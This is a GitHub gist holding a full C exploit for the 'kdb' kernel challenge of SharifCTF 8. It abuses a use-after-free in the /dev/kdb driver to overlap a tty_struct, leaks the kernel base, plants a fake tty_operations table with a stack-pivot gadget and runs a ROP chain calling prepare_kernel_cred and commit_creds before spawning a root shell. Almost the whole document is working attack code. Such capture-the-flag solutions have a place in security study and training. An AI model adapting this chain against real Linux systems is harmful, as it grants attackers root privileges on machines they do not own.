Skip to content

Instantly share code, notes, and snippets.

@shift-crops
Last active December 25, 2018 11:22
Show Gist options
  • Save shift-crops/679ab64b92a94a73f1f2cbcae413d21d to your computer and use it in GitHub Desktop.
Save shift-crops/679ab64b92a94a73f1f2cbcae413d21d to your computer and use it in GitHub Desktop.
SharifCTF 8 kdb
// gcc exploit.c -masm=intel -fno-PIE -nostdlib -no-pie -o exploit
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
size_t read(int fd, void *buf, size_t count);
size_t write(int fd, void *buf, size_t count);
int open(const char* pathname, int flags, ...);
int close(int fd);
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int mprotect(void *addr, size_t len, int prot);
int munmap(void *addr, size_t length);
int ioctl(int fd, unsigned long request, ...);
int execve(const char *filename, char *const argv[], char *const envp[]);
void exit(int status);
void *memset(void *s, int c, size_t n);
void *memcpy(void *dest, const void *src, size_t n);
unsigned long strlen(const char *s);
int puts(const char *s);
void shell(void);
static void save_state(void);
static void restore_state(void);
struct state {
unsigned long rip;
unsigned long cs;
unsigned long rflags;
unsigned long rsp;
unsigned long ss;
} stat;
/* exploit */
#define OFFSET(addr) ((addr) - 0xffffffff81000000)
#define ADDR(offset) (kernel_base + (offset))
unsigned long ofs_ptm_unix98_ops = OFFSET(0xffffffff8121bea0);
struct cred* (*prepare_kernel_cred)(struct task_struct *daemon) = 0xffffffff8103d1a0;
int (*commit_creds)(struct cred *new) = 0xffffffff8103d3a0;
unsigned long ofs_stack_pivot = OFFSET(0xffffffff81110ec0); // mov esp, 0x5B0002B8 ; pop r12 ; pop r13 ; pop rbp ; ret
unsigned long ofs_pop_rdi = OFFSET(0xffffffff810a23cd); // pop rdi ; ret
unsigned long ofs_mov_rdi_rax_pop1 = OFFSET(0xffffffff81003661); // mov rdi, rax ; rep movsq ; pop rbp ; ret
unsigned long ofs_swapgs = OFFSET(0xffffffff8113e858); // swapgs ; ret
unsigned long ofs_iretq = OFFSET(0xffffffff8113e030);
struct data {
char key[0x20];
unsigned long args[2];
} data;
int alloc_buf(int fd, char *key, unsigned long size);
int read_buf(int fd, char *key, void *buf);
int write_buf(int fd, char *key, void *buf);
int free_buf(int fd, char *key);
int realloc_buf(int fd, char *key, char *buf, unsigned long size);
void _start(void){
int fd, pfd;
unsigned long tty_struct[0x400/sizeof(unsigned long)];
unsigned long tty_operations[0x100] = {};
unsigned long *fake_stack;
save_state();
stat.rip = shell;
if((fd = open("/dev/kdb", O_RDWR)) < 0){
puts("open /dev/kdb failed");
exit(-1);
}
alloc_buf(fd, "aaaa", 0x400); // sizeof(struct tty_struct)
realloc_buf(fd, "aaaa", NULL, -1);
if((pfd = open("/dev/ptmx", O_NOCTTY|O_RDWR)) < 0){
puts("open /dev/ptmx failed");
exit(-2);
}
read_buf(fd, "aaaa", tty_struct);
unsigned long ptm_unix98_ops = tty_struct[3];
unsigned long kernel_base = ptm_unix98_ops - ofs_ptm_unix98_ops;
if((fake_stack = mmap((void*)(0x5b0002b8&~0xfff), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0)) != (void*)(0x5b0002b8&~0xfff)){
puts("mmap failed");
exit(-3);
}
fake_stack += (0x2b8/sizeof(unsigned long))+3;
*(fake_stack++) = ADDR(ofs_pop_rdi);
*(fake_stack++) = 0;
*(fake_stack++) = ADDR(OFFSET(prepare_kernel_cred));
*(fake_stack++) = ADDR(ofs_mov_rdi_rax_pop1); // rcx == 0
*(fake_stack++) = 0xdeadbeef;
*(fake_stack++) = ADDR(OFFSET(commit_creds));
*(fake_stack++) = ADDR(ofs_swapgs);
*(fake_stack++) = ADDR(ofs_iretq);
memcpy(fake_stack, &stat, sizeof(stat));
tty_struct[3] = tty_operations; // ops
tty_operations[12] = ADDR(ofs_stack_pivot); // ioctl
write_buf(fd, "aaaa", tty_struct);
ioctl(pfd, 0xdeadbeef, 0xcafebabe);
exit(0);
}
int alloc_buf(int fd, char *key, unsigned long size){
memcpy(data.key, key, 0x20);
data.args[0] = size;
return ioctl(fd, 0x13371338, &data);
}
int read_buf(int fd, char *key, void *buf){
memcpy(data.key, key, 0x20);
data.args[0] = buf;
data.args[1] = 0;
return ioctl(fd, 0x13371339, &data);
}
int write_buf(int fd, char *key, void *buf){
memcpy(data.key, key, 0x20);
data.args[0] = buf;
data.args[1] = 0;
return ioctl(fd, 0x1337133a, &data);
}
int free_buf(int fd, char *key){
memcpy(data.key, key, 0x20);
return ioctl(fd, 0x1337133d, &data);
}
int realloc_buf(int fd, char *key, char *buf, unsigned long size){
memcpy(data.key, key, 0x20);
data.args[0] = buf;
data.args[1] = size;
return ioctl(fd, 0x1337133f, &data);
}
/* funcs */
static void save_state(void) {
register long *rsp asm("rsp");
asm(
"mov rax, ss\n"
"push rax\n"
"lea rax, [rsp+0x18]\n"
"push rax\n"
"pushfq\n"
"mov rax, cs\n"
"push rax\n"
"mov rax, [rbp+8]\n"
"push rax\n"
);
memcpy(&stat, rsp, sizeof(stat));
asm("add rsp, 0x28");
}
static void restore_state(void){
register long *rsp asm("rsp");
asm("sub rsp, 0x28");
memcpy(rsp, &stat, sizeof(stat));
asm(
"swapgs\n"
"iretq"
);
__builtin_unreachable();
}
void *memset(void *s, int c, size_t n){
for(int i=0; i<n; i++)
*(char*)(s+i) = (char)c;
return s;
}
void *memcpy(void *dest, const void *src, size_t n){
for(int i=0; i<n; i++)
*(char*)(dest+i) = *(char*)(src+i);
return dest;
}
unsigned long strlen(const char *s){
unsigned long i;
for(i=0; s[i]; i++);
return i;
}
int puts(const char *s){
int n;
n = write(1, (void*)s, strlen(s));
write(1, "\n", 1);
return n;
}
void shell(void){
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
asm(
"read:\n"
"mov rax, 0\n"
"syscall\n"
"ret\n"
"write:\n"
"mov rax, 1\n"
"syscall\n"
"ret\n"
"open:\n"
"mov rax, 2\n"
"syscall\n"
"ret\n"
"close:\n"
"mov rax, 3\n"
"syscall\n"
"ret\n"
"mmap:\n"
"mov rax, 9\n"
"mov r10, rcx\n"
"syscall\n"
"ret\n"
"mprotect:\n"
"mov rax, 10\n"
"syscall\n"
"ret\n"
"munmap:\n"
"mov rax, 11\n"
"syscall\n"
"ret\n"
"ioctl:\n"
"mov rax, 16\n"
"syscall\n"
"ret\n"
"execve:\n"
"mov rax, 59\n"
"syscall\n"
"ret\n"
"exit:\n"
"mov rax, 60\n"
"syscall\n"
);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment